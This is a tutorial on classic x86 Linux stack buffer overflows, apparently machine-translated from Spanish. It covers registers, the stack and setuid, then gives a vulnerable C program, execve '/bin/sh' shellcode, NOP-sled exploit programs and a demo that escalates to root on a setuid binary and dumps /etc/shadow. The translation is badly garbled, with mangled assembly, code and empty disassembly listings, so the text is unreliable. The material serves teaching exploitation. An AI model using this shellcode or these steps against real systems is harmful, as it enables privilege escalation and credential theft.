INTRODUCTION
~~~~~~~~~~~~
Hi readers. In this article we will try to explain in detail
what is a buffer overflow or buffer overflow, as well as how
to exploit it. Because it is a subject that requires some knowledge of
assembly we will describe a little this language, just so that it
understands what we are going to say. Well, without further ado, let's go there.
SOMETHING OF ASM
~~~~~~~~~~~
The asm is a rather simple language, but with simple I mean that
things that can be done are simple, like moving a record in another,
doing a writing in memory, etc. So it has no variables, no pointers
or logical expressions, etc ... The asm basically interacts between the
pc memory , the processor registers and the I / O ports. The
processor registers are as follows:
-EAX, EBX, ECX, EDX.
They are general purpose records. It could be said that they can be used
as variables. The EAX is called the accumulator, it is also the
default destination for some arithmetic operations, such as the division.
-ISI, EDI.
Are used as pointers index and destination respectively in operations
copy strings, that is, when you go to copy, for
example, four characters from A to B, then you put in ESI value A and EDI the
value B, and execute the copy command.
-EBP, ESP.
These records are somewhat "special". Its usefulness will explain
later.
-CS, DS, ES, SS.
These registers are used to store the address of some segment. The
CS stores the address of the segment containing the code, the DS stores
that of the data segment, and the ES is an "extra" record, you can put in the
desired value. The SS record contains the address of the
stack segment , which I'll talk about later.
-EIP.
The EIP is also called program counter or instruction pointer.
Contains the address of the next instruction to execute.
NOTE: Some readers may know ASM language in ms-dos. To the
better they are confused by the change of name of the registers. In
ms-dos, the registers were called ax, bx, cx, etc. With the appearance of the
386 records changed their length, they went from being 16 bits to 32
bits. To maintain compatibility in the language and others, the
registers ax, bx, etc, can still be used, but the
"large", 32-bit register, the "Extended" E is added. Another thing;
the registers ax, bx, etc ... can be divided into two smaller ones.
called ah and al, bx and bl, etc., which refer to the 8
highest bits of the register (ah) and the lowest 8 bits (al). A scheme to
make it clearer:
EAX (32 bits)
_____________________
/ 12345678 12345678 12345678 12345678 \
-------- --------
\ AH (8 bits) AL (8 bits) /
---------- ---------------
AX (16 bits)
MEMORY ACCESSES
~~~~~~~~~~~~~~~~~
To access memory, two "numbers" , the segment and the
offset. The segment and the displacement comes from yesteryear
and it was because in the first computers, with the registers of 16 bits not
could address a lot of memory, so we opted to divide the memory into
segments:
Segment 1: 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
Segment 0: 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0
^
Then, two registers were used to access memory: one containing
the segment, and another the displacement, separated by two points. The 1 of the
two segments above would be in the 0: 5 direction. So far easy, right?
This would be the "virtual" address (0: 5). To calculate the address that is
passed to the RAM (the physical address), make the following calculation:
Physical address = (segment * 16) + offset
Well, a note: before I said that EIP contained the address of the
next address to execute no ?. But I just said that to access
memory requires 2 data. The address of the code segment is
in the CS record. Therefore the address of the next address to
execute would be CS: EIP.
THE PROTECTED MODE 386
~~~~~~~~~~~~~~~~~~~~~~~~~
One of the great advances in operating systems has been to use the
protected mode to run 386 . In older OSs, like ms-dos,
you could only run one program at a time, that is, they were monotarea.
In addition that program that was running could access ALL the memory.
With the advent of multitasking and multiuser OSs (like Linux, hehe, :)the
thing is a little complicated. Now it was necessary to run
several simultaneous processes on a single processor, and in addition, those processes could not
access all the memory, if not, could read the passwords of
users from any program.
well, the 386 protected mode gives us the option to do that.
in protected mode, there are several types of code as their privileges. the
most privileged level is the Ring 0, also called administrator mode The
next level is Ring 1, which is also administrator mode but with
less privileges than Ring 0, and Ring 2 idem Ring 3 is the last
type of code, and is the least privileged. It is called user mode. In the
current S.Os only Ring 0 and Ring 3 are used.
From the code Ring 0 can be read and written throughout the memory.
So, what code is executed in Ring 0? The kernel, of course. And in Ring 3
the user processes. In code Ring 3 the accesses to memory are made in
a "somewhat" different way. In Ring 3, when a process wants to access
memory, the processor first "translates" the virtual address (segment +
offset) to a unique address, and then _mapea_ to a
physical address, following tables that manages the kernel, and are
unique and independent for each process. These tables are in
memory, and their address is in the control register 3
(cr3) of the processor. I have not put this register up because it can only
be modified by code with Ring 0 privileges, that is, that only the kernel
can modify the tables for each process (logical, not?).
Come on, a process may be trying to read from
memory location 0xbff8aecd, and it turns out that it is actually reading from position
0x6666666. That only the kernel knows. In addition, the memory that is mapped
to each process is divided into pages. Each page has its own
attributes, such as reading, writing and execution. If a process tries to
write to a page of memory in which it does not have permissions, the procesaodor
will generate a kernel exception, and this will kill the process with a SIGSEV
signal.
Also, not all memory is mapped to each process, only the one that will
use. If a process attempts to access an unallocated memory region,
the same thing happens before (SIGSEV).
One more thing, the system calls (syscalls). When a process wants to
open a file, or send a signal to another, how the hell does it do? Because it
can not write outside of its address space, it does call the
kernel. And what does he call it? Using a syscall. In linux the
0x80 interrupt is used . Just call that interrupt the system jumps to
Ring 0 code, and the kernel looks at the reg. EAX, which contains the index of
syscall. In the registers EBX, ECX, EDX, ESI and EDI are passed the parameters
of the syscall. When the system returns to Ring 3 code, the reg. EAX contains
the value returned by the syscall.
THE BATTERY (or STACK)
~~~~~~~~~~~~~~~~~
When I started talking about the ASM, I said I had no variables. But the ASM
has a memory region called a stack that a program can use to
store values, such as local variables, return addresses, and so on.
The battery is located in SS: ESP. The stack is a LIFO structure,
the first to enter is the last one that comes out (Last In, First Out). To
save a data in the stack is used the push instruction, and to get the last one
data in the stack is used pop. Let's take an example:
CS is 0 and ESP is 200.
We store EAX content in the stack.
pushl% eax
Now CS is still worth 0, but ESP is worth 196. Yes, 196, because the stack
decreases as more values ??get in. Decreases 4 because reg. EAX
is a reg. of 32 bits, that is, 4 bytes.
Now we save BX.
pushw% bx
Now ESP is 194. We subtract 2 because bx occupies 2 bytes.
At this point we have 2 values ??in the stack. If we did a pop now,
the value we would get would be the reg. bx, because he was the last to
get in .
Later I will go into detail on the local variables and
return.
SOME INSTRUCTIONS IN ASM
~~~~~~~~~~~~~~~~~~~~~~~~~~~~ First
of all, in linux, most ASM instructions carry
a letter indicating the size of the data or record on which they act.
These letters are 3:
b: byte (8 bits)
w: word (16 bits)
l: long (32 - bit)
instructions:
mov - Moves one register to another, a memory to a register, or
a register to a position by heart.
movl% eax,% ebx # Moves the contents of the eax record (32 bits) to
# the EBX.
movb% bh, 4 # Moves the contents of register bh (8 bits) in the
# pos. memory 4.
movw 0x12,% ax # Moves 16 bits (2 bytes) from pos. from memory
# 0x12 to reg. ax
Memory references can be absolute, as above, or they
can be referenced to a record. Pe:
movl% eax, 0x12 (% ebp) # Moves EAX content to pos. of
# memory ebp + 0x12
read - Enter the second operating memory address of the first.
loyal 0x8 (% ebp),% eax # Save in eax the address 0x8 + ebp
xor - Perform a xor between the first and second operand and save the
result in the second operand.
xorl% eax,% ebx # Save in ebx the result of eax ^ ebx
or - Perform an or between the first and second operand and save the result
in the second operand.
orl% eax,% ebx # Save the eax result to ebx | ebx
and - Perform an and between the first and second operand and save the
result in the second operand.
andl% eax,% ebx # Save in ebx the result of eax & ebx
int - Launch an interrupt
int $ 0x80 # Call int 0x80. Note the $
jmp sign - Jumps to the specified direction (relative)
jmp 9 # jumps 9 bytes ahead of the current instruction.
call - Call the function that is in the specified address
(relative)
call 5 # Calls the function that is 5 bytes ahead of
# the current instruction.
inc - Increment the operand by 1
inc% ebx # ebx = ebx + 1;
dec - decrements the operand by 1
dec% ecx # ecx = ecx - 1
LOCAL VARIABLES
~~~~~~~~~~~~~~~~~
When you run a program in C, there are two types of variables. There are
global variables, which are in the data segment. And
there are also variables called local, which are called so because they are only
used in a particular function, for example a variable counter. It would be
foolish to define it as global, if the loop in which it is to be used is in
a function. The question is, where are these variables stored? They
are stored in the battery.
And another very important thing. You have to understand the concept of function. A
program is simply a sequence of bytes, which the processor will translate into
instructions that do something. When you run a program, the kernel loads it
into memory, and gives you control in your "Program Entry Point", which
is usually the start of your main () function. But as I imagine you already know,
you can not do a whole program in a sequential way, so the
functions (structured programming) are used.
A function can do something as simple as adding two numbers, and returning
its result. How do you do this? Well, suppose we are running
our program. Now it is in instruction 1. Our program will
call a function that adds two numbers that are passed as arguments.
But, how do you pass the arguments? Well they are passed through the pile, as
you see it serves for many things. Let's get back to the program. It is found in
instruction 1, CS is worth 1, SS is worth 2 and DS is worth 3. EBP and ESP are worth the same,
- To call the function you have to pass your two arguments first.
Well that's why we use each push.
1 push ARG_2
2 push ARG_1 The arguments are passed in reverse order
Now ESP is worth 192 (200 - 4 * 2). Now we are in the inst. 3. In this
a call to the function that adds the numbers.
3 call offsetdelafuncionsumadora
The question now is, how does the adding function know where to
jump when finalize? Put another way: when the program calls the
function, the program jumps to the code of the function, and when it ends, it
should jump to the inst. n ° 4, so the direction of the ins. n4 should be
saved somewhere. where? Well, on the pile, I made it! xD.
When a function is called automatically, the
address of the device is "pushed" in the battery . that is in front of the call.
is equivalent to
call 2 ---------------------> pushl
addressofthe_inseconds jmp 2
Okay. Let's go back to our program. After the call, the program jumps to the
code of the function. Now the function must reserve space in the stack for
its local variables, access the arguments that have been passed to it, place
the sum of the args. in EAX and return to the ins. No. 4. "It seems difficult, eh? :)
The first thing is to reserve space in the stack for your variables.
Remember how the stack is in the ins. 1 of the function:
[ARGUMENT_1 ARGUMENT_1 ARGUMENT_2 ??????
^
ESP points here
¨ How can we reserve space for variables? If you remember,
there is still a record that I have not said for what it is, the EBP. Do not guess
what is it for? ; "booking" means making a region of memory
accessible only to what we "reserve" it. If the variables
are stored in the stack, and the stack is also used for an egg of things, how
can you reserve space? By subtracting a number from ESP. For example, I'll
reserve 4 bytes in the stack above:
subl $ 4,% esp # le rest 4 to ESP
Then the stack stays like this.
4_BYTES_RESERVED ARGUMENT_1 ARGUMENT_1 ARGUMENT_2 ???
^
ESP points here
Now we can "pushe" whatever we want in the stack because our
variables are in front of ESP, and the data we "put" will not
overwrite them.
We have solved the problem of space, but there is still another.
The only reference we have to access the variables is the reg. ESP,
but ESP is used to store and remove data from the stack, so it may vary.
This is where the EBP register comes into play.
Just before subtracting the space to be reserved in the ESP stack, a
copy of ESP in EBP is made, so EBP is always worth the same, and it is
pointed as follows:
4_BYTES_RESERVADOS DIR_D_A_INS_4 ARGUMENT_1 ARGUMENT_2 ???
^ ^
ESP points here And EBP points here
Then we are left where EBP is used to reference local variables
of a function, but, what happens to the EBP value of the calling function?
That is, the function that calls our example adding function
will also have its local variables, and to reference them you will need the reg.
EBP. Where do you keep it? Well, yes, you guessed it: in the pile :).
To clarify a little all this we are going to make our sample program
in C and then unpack it. Let's go there.
*** summing program ****
#include
int sum (int a, int b)
{
int result;
result = a + b;
return result;
}
void main ()
{
sum (1, 2);
}
****************
I compile it and then unpack it (my comments between ):
# gcc suma.c -o sum
# gdb sum
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and / or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu" ...
The first thing I will do is unmount the main function
(gdb) disassemble main
Dump of assembler code for function main:
0x80483f0
0x80483f1
0x80483f3
0x80483f5
0x80483f7
0x80483fc
0x80483ff
0x8048401
0x8048402
End of assembler dump.
In the program in C it is seen that the only thing that does the func. main () is to
call the sum function by passing the numbers 1 and 2 as parameters.
In the first two lines:
0x80483f0
0x80483f1
The program puts in the EBP stack and ESP copy in EBP, as if it were to
reserve space for your local variables, but as you see, it does not have, so
leugo has nothing left for ESP.
Then put the numbers 1 and 2 in the stack and call the function sum ():
0x80483f3
0x80483f5
0x80483f7
And the instruction:
0x80483fc
Leave ESP as it was just before passing the args. to the func. Sum ()
Now desemsamblo sum ()
(gdb) disassemble sum
Dump of assembler code for sum function:
0x80483c0
0x80483c1
0x80483c3
result variable
mov 0x8 (% ebp),% eax: 0x80483c6
0x80483c9
0x80483cc
0x80483cf
0x80483d2
0x80483d5
0x80483d7
0x80483d9
es 0x80483e0
0x80483e2
0x80483e3
0x80483e4
0x80483ea
End of assembler dump.
(gdb) quit
I hope that by this point you understand more or less how the whole
move is in the stack and the calls to functions. Now let's go into
detail on how to modify the part of the stack that interests us from C.
We have this program:
**** prueba1.c ******** ***********
#include
int main (int argc, char * argv)
{
unsigned long * ret;
char buf 4;
if (argc> 1) strcpy (buf, argv 1);
ret = & ret;
ret + = 1;
printf ("The saved EBP value is:% 04x \ n", * ret);
ret + = 1;
printf ("The return address is:% 04x \ n", * ret);
fflush (stdout);
}
************************* ***
We compile it and run it:
# gcc test1.c -o test1
# ./prueba1
The saved EBP value is: bffffa28
The return address is: 40037213
As you can see in the source code, if there is more of an argument the program
copies it in the variable static buf, that occupies 4 bytes, without looking at the size
of the argument. What happens if we pass a second argument between 4 and
8 bytes? For when doing the strcpy () would overwrite the value of ret,
but in the next line is assigned a value to ret, so there would be no
major consequences. But if you pass an argument greater than 8 characters
, two values ??that have all the functions in the stack are overwritten: the
saved value of EBP and the return address:
I am going to pass you a 16-byte length argument
#. test1 aaaaaaaaaaaabbbb
The saved EBP value is: 61616161
The return address is: 62626262
Segmentation fault
Well what you have just observed is the basis of
buffer overflows . When you change the return address, when you reach the ins. ret from the
main () function, the program will try to jump to address 0x62626262, but
if you remember, when a memory address is not mapped, the kernel kills
the process, and that's exactly what happened.
THE BASE OF THE EXPLOITS
~~~~~~~~~~~~~~~~~~~~~~~
¨What can we do to take advantage of this? Well basically this is:
We will pass to the program an argument, so that it will overwrite the
return address with an address in the we will have placed a code
made in assembler that executes what we want. The address in
which our code must be must be in the
address space of the program, so let's take advantage of the fact that the buf variable
is in its address space, and in the first bytes of the argument
we put our code, and in the last four we put the address of the
variable buf. The catch is that we do not know exactly what its direction,
because it depends on the direction of the stack, but it happens that the
values ??that the stack takes are very similar (in the same OS), so
we will test with the direction of the program stack exploit, and if it does not
work we will try to subtract offsets to the dir. to find the address
of buf (fuck that sentence longer :).
First let the code. we want to run? Well , you'll likely
run a shell, and from the shell to execute whatever comes to us from the webs.
First let to make an assembler code that executes a shell.
To run the shell we will make a system call that tells the
kernel that we want to execute something; obviously the only thing that counts is
execve (). execve () takes three arguments:
- pointer to a string of characters with the complete path of the program to
execute.
- Pointer to an array of arguments finished in NULL that will be the ones that are
passed to the program that we are going to execute.
- Pointer to an array with environment variables.
Okay. Well with this we can do the code in assembler, but we lack
one thing:
Pointers point to a memory address (NOT JUDGE !!), but we are
going to have the code in a local variable, so we do not know
completely the address of the strings that we will pass to
execve (). How can we find out your address? For someone very clever (not know
who it was, but it sure is very clever :)came up with this:
- Before the code that calls execve planted a jmp to jump right
behind the region where we have the strings.
(Note: strings = strings of characters)
- The instruction to which we have jumped is a call to the instruction that is in
front of the jmp, that is, that we return to the inst before the jmp
- What do we get with this? call,
the absoluta address of the next instance of the call is stored in the stack, and what is in
front of the call?
- Problem solved. We already have the address in the stack. Just do
pop% x_region and we will have in that reg. the dir. that we were looking for.
Oh, I forgot. Most buffer overruns occur
when copying strings with strcpy (). strcpy () to find a 0
in the source string, so be careful to put 0s in the shellcode. In addition, if
the call to execve () fails, the program will give a segmentation fault, so
to avoid it we will add a call to exit just after the call to
execve ().
To make our exploit we have to use a vulnerable program. Well since
we have test1.c we will use it (q taka¤o soi :)But let's
increase the size of your buf variable to 1024 characters to fit
the shellcode.
Test1.c would look like this:
**** prueba2.c ***************** **
#include
int main (int argc, char * argv)
{
unsigned long * ret;
char buf 1024;
if (argc> 1) strcpy (buf, argv 1);
ret = & ret;
ret + = 1;
printf ("The saved EBP value is:% 04x \ n", * ret);
ret + = 1;
printf ("The return address is:% 04x \ n", * ret);
fflush (stdout);
}
************************* ***
And the exploit is this: (commented of course:)
*******************
#include
#include
#include
/ *
- This function has the asm code that will be used to execute the shell
- /
void shell ()
{
_asm ??_ ("
jmp 0x1f
popl% edi
movl% edited,% ebx
xorl% eax% eax
movb% al, 0x7 (% edi)
movl% edi, 0x8 (% edi)
movl% eax, 0xc (% edi)
loyal 0x8 (% edi),% ecx
loyal 0xc edi),% edx
movb $ 0xb,% eax
int $ 0x80
xorl% ebx,% ebx
movl% ebx,% eax
inc% eax
int $ 0x80
call -0x24
.ascii \ "/ bin / sh0 \"
.byte 0x00
")
}}
/ *
- Pointer to the beginning of the shellcode I put" + 3 "to skip the
push ebp and mov esp, ebp "instructions of the shell function ()
- /
char shellcode = (char ) & shell + 3;
/ *
- This function returns the value of the esp
- /
unsigned long get_sp ()
{
_asm _ ( "movl% esp,% eax");
}
int main (int argc,char * argv)
{
char * args 3;
char evil_buf 1036;
/ * 1036 because = 1024 buffer length + 4 variable ret +
4 EBP saved + 4 EIP * /
unsigned long * lptr;
unsigned long ret;
int offset = 0;
printf ("Usage: \ n");
printf ("\ t% s offset \ n \ n", argv 0);
if (argc> 1) offset = atoi (argv 1);
memset (evil_buf, 1, 1032);
strncpy (evil_buf, shellcode, strlen (shellcode) - 1);
lptr = (unsigned long *) & evil_buf 1032;
ret = get_sp () - offset;
- lptr = ret;
args 0 = "./test2";
args 1 = evil_buf;
args 2 = NULL;
printf ("Exploiting ... \ n");
fflush (stdout);
execve (args 0, args, NULL);
perror ("execve ()");
}
************************
Now we compile and execute:
# gcc test2.c -o test2
# gcc exploit1.c -o exploit1
# ./exploit1
Usage:
./exploit offset
Exploiting ...
The saved EBP value is: 1010101
The return address is: bffff6a4
Segmentation fault
Ummm ... It seems that it does not work .... No man, what happens is that the
return address we use does not point justo at the beginning of our
shellcode, so we will have to try random offsets until
find the good. But like that ousasunscriptotemueresdeasco
we will use the NOPS. NOPS are instructions that do nothing. They are used
to calculate and enter delays. So we will use them
as follows:
- Just before the code in ASM that executes the shell we will put a egg
of nops followed, so, if the return address points on that range
of NOPS the races running all give with our code, so that
the chances of finding a good offset multiply
considerably.
The new exploit is this:
***** exploit2.c *************
#include < stdio.h>
#include
#include
/ *
- This function has the code in asm that will be used to execute the shell
- /
void shell ()
{
_asm ??_ ("
jmp 0x1f
popl% edi
movl% edi,% ebx
xorl% eax,% eax
movb% to, 0x7 (% edi)
movl% edi, 0x8 (% edi)
movl% eax, 0xc (% edi)
loyal 0x8 (% edi),% ecx
loyal 0xc (% edi),% edx
movb $ 0xb,% eax
int $ 0x80
xorl% ebx,% ebx
movl% ebx,% eax
inc% eax
int $ 0x80
call -0x24
.ascii \ "/ bin / SH0 \"
.byte 0x00
");
}
/ *
. * Pointer to start of Shellcode Pongo" + 3 "to skip the
- instructions" mov esp push ebp and, ebp "of the shell function ()
- /
char shellcode = (char ) & shell + 3;
/ *
- This function returns the value of the esp
- /
unsigned long get_sp ()
{
_asm ??_ (" movl% eax ");
}
int main (int argc, char * argv)
{
char * args 3;
evil_buf char 1036;
/ * 1036 = 1024 because buffer length + 4 ret Variable +
4 saved EBP + 4 EIP * /
unsigned long * lptr;
unsigned long ret;
int offset = 0;
printf ("Usage: \ n");
printf ("\ t% s offset \ n \ n", argv 0);
if (argc> 1) offset = atoi (argv 1);
memset (evil_buf, 0x90, 1032);
strncpy (evil_buf + 1000-strlen (shellcode), shellcode, strlen (shellcode) - 1);
lptr = (unsigned long *) & evil_buf 1032;
ret = get_sp () - offset;
- lptr = ret;
args 0 = "./test2";
args 1 = evil_buf;
args 2 = NULL;
printf ("Exploiting ... \ n");
fflush (stdout);
execve (args 0, args, NULL);
perror ("execve ()");
# gcc exploit2.c -o exploit2
# ./exploit -400
Usage:
./exploit offset
Exploiting ...
The saved EBP value is: 90909090
The return address is: bffff768
sh-2.03 #
Cooo, ya it works! :)If you try, you will see that there are now a lot of
valid offsets .
Well, this is basically a buffer overflow. There are a lot of
variants, because they are not always so easy to exploit, for example,
sometimes you have to curry a shell without alphanumeric letters, or without a
specific character ... Also a type of overflow where the zone of
memory that you overwrite is not in the heap, if not in the heap, and there is no
return address, so you have to engineer them in another way. Maybe
for another article :)
SOMETHING ABOUT UNIX PROCESSES
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
We have seen how a fairly simple buffer overflow works , and we
premetia load / bin / sh, ¨But as that user runs? What permissions will I have
in the system? The user will be the same, and logically the premise
also. When we in UNIX load a process it is associated with
a PID (process identifier), a UID (
real user identifier ), an EUID (effective user identifier), a GID
of real group) and an EGID (effective user identifier). The UID and
GUID of the process are the same as those of the user
executing the process, and the EUID and EGID mark the
process privileges . The most normal is that UID and EUID (like GID and EGID)
match, but not always, there are situations in which EUID and EGID
take as value the UID and GID that has the file. When does
this happen ? When the file to be executed has the setsuid enabled (chmod + s
let's look at it with some examples:
--- // m_ids.c / ---
#include
#include
main () {
printf ("The UID, EUID, GID and EGID values ??of this process are: \ n");
printf ("UID =% d \ n", getuid ());
printf ("EUID =% d \ n", geteuid ());
printf ("GID =% d \ n", getgid ());
printf ("EGID =% d \ n", getegid ());
}
// // m_ids.c / ---
We look at the user we are working with and compile ...
# whoami
root
# gcc mids.c -o mids
# ./m_ids
The UID, EUID, GID and EGID values of this process are:
UID = 0
EUID = 0
GID = 0
EGID = 0
#
Logically, UID, EUID, GID, EGID, are worth 0, since the
system administrator has the most control over the system,
if we execute that same process with another user? Let's prove:
First we change the permissions so that any user can execute this
file.
# chmod 711 m_ids
Now we change to another user (UID, and different user GID).
#su ripe
$ ./m_ids
values UID, EUID, GID and EGID of this process are:
uid = 500
EUID = 500
GID = 500
EGID = 500
#
How can the power the process executed has changed, as
happens to have the same power that the user "ripe" has on the system
"not easy? Let's see what happens if we activate setsuid in m_ids.
First we have to return to be the owners of the file to be able to
use chmod with the file.
$ exit
Setsuid ON :)
# chmod + s m_ids
Again we are metamorphosing and executing the file.
# its ripe
$ ./m_ids
The UID, EUID, GID and EGID values ??of this process are:
UID = 500
EUID = 0
GID = 500
EGID = 0
#
We clearly see that in this case UID and EUID do not match (neither
do GID and EGID), this is because the setsuid EUID and EGID
take the values ??UID i GID of the file respectively, and because
m_ids belongs to the user "root" (UID = 0) and the group "root" (GID = 0),
any user who executes said file will do it with
"root" privileges, this means that any calls that process to the
system will do as "root" (UID = 0).
I hope it has become clear the use of setsuid (chmod + s
to ripe@mixmail.com.
LET'S GO BACK TO THE PREVIOUS EXAMPLE
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Returning to the example given by Doing, we get a
binary file to run / bin / sh, but as you can see, this does not have (in
principle any usefulness, as we can not at any time improve
our privileges in the system).
# su ripe
$ ./exploit2 1
Usage:
./exploit2 offset
Exploiting ...
The saved EBP value is: 90909090
The return address is: 7ffff8d7
Bash $ cat / etc / shadow
cat: / etc / shadow: Permission denied
Well go the hell ... no I get nothing.
Let's make a couple of modifications to the program "test2.c"
--- // test3.c // ---
#include
int main (int argc, char * argv ) {
unsigned log * ret;
char buf 1024
if (argc> 1) strcpy (buf, argv 1);
printf ("The UID, GID, EUID and EGID of this process are: \ n");
printf ("UID =% d \ n", getuid ());
printf ("GID =% d \ n", getgid ());
printf ("
printf ("EGID =% d \ n", getegid ());
ret = & ret;
ret + = 1;
printf ("The saved EBP value is:% 04x \ n", * ret);
rer + = 1;
printf ("The return address is:% 0ax \ n", * ret);
fflush (stdout);
}
--- // test3.c // --- We
compile: ->
$ gcc test3.c -o test3
Now you will have to make a small modification to the exploit as well.
Since this will now have to exploit "test3" and not "test2",
you must change the line args 0 = "./test2", by the line
"args 0 =" ./test.3 "We are ready to see what happens
$ ./exploit2 1
Use:
.
The UID, GID, EUID, and EGID of this process are:
UID = 500;
GID = 500;
EUID = 500;
EGID = 500;
The value of EBP saved is: 90909090
The return address is: 7ffff8ba
bash $
We see "test3" has been executed with EUID = 500 and EGID = 500 (the same as
the user has ripe), so the bash we have achieved opening will have
these privileges ... bad bad, I have not gained anything (by now you should
know why : P).
So "test3" can not be exploited to gain more privileges? Well
as it is not the situation, then everyone and that "test3" is vulnerable
this is executed with the same privileges as "exploit2", which has been
called by the user "ripe" (UID = 500, GID = 500). However, if "test3"
has setsuid enabled .... Let's see what happens.
# whoami
root
# chmod + s test3
# your ripe
$ ./exploit2 69
Usage:
./exploit2 offset
Exploiting ...
The UID, GID, EUID, and EGID of this process are:
UID = 500;
GID = 500;
EUID = 0;
EGID = 0;
The value of EBP saved is: 90909090
The return address is: 7ffff893
bash # cat / etc / shadow
root: 4rTGBh & hn & / Hlaa & mdeK23f12eQrUJha: 11125: 0: 99999 :::
bin: *: 11125: 0: 99999 :::
... (etc, etc : P)
Now we see that the process is executed with EUID = 0 and EGID = 0, so the
call to / bin / sh will be done as root , so that tachaaa! we are given
a bash with root privileges. Not bad "Now what do I do? This is up
to you.
WHAT APPLICATIONS DOES IT ALL THIN?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
So, that applications are vulnerable to this kind of attacks ? Well,
I think it's clear, any application with setsuid enabled and
buffer overflowed. If you detect a vulnerable application on
your system the solution is very simple, just disable the setsuid
(chmod -s
-doing&rape
greetings
Comments
No Comments Exist
Be the first, drop a comment!